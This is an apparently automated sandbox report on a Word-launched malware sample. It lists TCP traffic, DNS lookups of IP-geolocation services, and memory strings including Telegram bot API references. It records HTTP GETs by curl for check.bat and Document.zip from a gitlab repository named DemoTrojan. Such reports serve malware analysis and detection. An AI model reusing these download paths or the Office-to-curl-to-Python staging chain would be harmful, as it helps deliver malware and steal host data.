Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.4:49741
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443

Source: winword.exe

Memory has grown: Private usage: 1MB later: 91MB

Source: global traffic

HTTP traffic detected: GET /DemoTrojan/real/-/raw/main/Document.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ipinfo.io

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /DemoTrojan/real/-/raw/main/check.bat HTTP/1.1Host: gitlab.comUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /DemoTrojan/real/-/raw/main/Document.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: gitlab.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: _mode_gcm.cpython-310.pyc.13.dr	String found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: python.exe, 00000010.00000003.2673212247.0000029B9F6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue12029
Source: python.exe, 00000010.00000003.2673212247.0000029B9F6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue13585
Source: python.exe, 00000010.00000003.2648082877.0000029B9F3F5000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2646258923.0000029B9F41A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14396.
Source: python.exe, 00000010.00000003.2648082877.0000029B9F3F5000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2646258923.0000029B9F41A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue15756
Source: python.exe, 00000010.00000003.2673212247.0000029B9F6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue19404
Source: python.exe, 00000010.00000003.2639218213.0000029B9EAFE000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2639483933.0000029B9EAF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue19619
Source: socket_helper.py.13.dr	String found in binary or memory: http://bugs.python.org/issue2550
Source: python.exe, 00000010.00000003.2640185149.0000029B9F1E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue5845#msg198636
Source: python.exe, 00000010.00000003.2665120248.0000029B9F703000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2668635064.0000029B9F6C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue874900
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: python.exe, 00000010.00000003.2653268133.0000029B9EAB6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2651877714.0000029B9EB10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/259174/
Source: python.exe, 00000010.00000003.2708134486.0000029B9F26B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577573-compare-algorithms-for-heapqsmallest
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: _mode_gcm.cpython-310.pyc.13.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
Source: _mode_ecb.py.13.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
Source: transports.cpython-310.pyc.13.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: transports.cpython-310.pyc.13.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: transports.cpython-310.pyc.13.dr	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: version.py.13.dr	String found in binary or memory: http://docs.python.org/reference/datamodel#object.__hash__
Source: powershell.exe, 00000009.00000002.2096757173.0000000005496000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com
Source: python.exe, 00000010.00000003.2665120248.0000029B9F703000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2673212247.0000029B9F6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/
Source: powershell.exe, 00000009.00000002.2100335123.000000000615C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000009.00000002.2096757173.0000000005246000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000009.00000002.2096757173.00000000050F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2622046577.0000000004951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: python.exe, 00000010.00000003.2665120248.0000029B9F703000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2673212247.0000029B9F6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html
Source: colorlog.py.13.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000009.00000002.2096757173.0000000005246000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: python.exe, 00000010.00000003.2653268133.0000029B9EAB6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2651877714.0000029B9EB10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm
Source: powershell.exe, 0000000D.00000002.2622046577.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, select.pyd.13.dr, python_tools.cat.13.dr, _testcapi.pyd.13.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: python.exe, 00000010.00000003.2653268133.0000029B9EAB6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2651877714.0000029B9EB10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html
Source: powershell.exe, 0000000D.00000002.2622046577.0000000005236000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000010.00000003.2723528593.0000029B9F869000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2723860771.0000029B9F3FA000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2720187342.0000029B9F348000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2723484348.0000029B9F403000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2735743007.0000029B9FA92000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2722866219.0000029B9F3FA000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2727677667.0000029B9FA92000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2719569605.0000029B9F84B000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2719444374.0000029B9F3FA000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2722088762.0000029B9F85A000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2723860771.0000029B9F3E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: python.exe, 00000010.00000003.2722957958.0000029B9F344000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html
Source: powershell.exe, 00000009.00000002.2096757173.00000000050F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2622046577.0000000004951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBdq
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.0000000005496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: python.exe, 00000010.00000003.2648541243.0000029B9F409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue25942
Source: python.exe, 00000010.00000003.2716339061.0000029B9F294000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2717016649.0000029B9F294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue29255
Source: python.exe, 00000010.00000003.2673212247.0000029B9F6C1000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000010.00000003.2671960683.0000029B9F373000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue29302
Source: python.exe, 00000010.00000003.2707321235.0000029B9EAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue31672
Source: pickletester.py.13.dr	String found in binary or memory: https://bugs.python.org/issue34572
Source: curl.exe, 00000008.00000003.1735338600.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735498713.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735453734.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735226913.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735561719.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1735338600.0000000002C26000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.0000000005496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2096757173.00000000054B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: powershell.exe, 00000009.00000002.2100335123.000000000615C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.2100335123.000000000615C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.2100335123.000000000615C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: add_sticker_to_set.cpython-310.pyc.2867457846096.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#addstickertoset
Source: answer_shipping_query.cpython-310.pyc.2867464392976.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#answershippingquery
Source: background_type.cpython-310.pyc.2867464494304.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#backgroundtype
Source: birthdate.cpython-310.pyc.2867464501072.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#birthdate
Source: bot_command_scope_chat_member.cpython-310.pyc.2867464389456.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#botcommandscope
Source: bot_command_scope_chat_member.cpython-310.pyc.2867464389456.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#botcommandscopechatmember
Source: chat_administrator_rights.cpython-310.pyc.2867464393296.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#chatadministratorrights
Source: chat_photo.cpython-310.pyc.2867465466720.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#chatphoto
Source: contact.cpython-310.pyc.2867465225104.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#contact
Source: create_new_sticker_set.cpython-310.pyc.2867484471856.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#createnewstickerset
Source: delete_messages.cpython-310.pyc.2867546095664.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#deletemessages
Source: edit_forum_topic.cpython-310.pyc.2867546100704.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#editforumtopic
Source: forum_topic_created.cpython-310.pyc.2867466207280.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#forumtopiccreated
Source: get_my_description.cpython-310.pyc.2867546541232.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#getmydescription
Source: get_user_profile_photos.cpython-310.pyc.2867546542512.16.dr, user.cpython-310.pyc.2867484414944.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#getuserprofilephotos
Source: inline_keyboard_markup.cpython-310.pyc.2867464402256.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#inlinekeyboardmarkup
Source: passport_element_error_selfie.cpython-310.pyc.2867484459856.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#passportelementerrorselfie
Source: send_invoice.cpython-310.pyc.2867547952816.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#sendinvoice
Source: user.cpython-310.pyc.2867484414944.16.dr	String found in binary or memory: https://core.telegram.org/bots/api#user
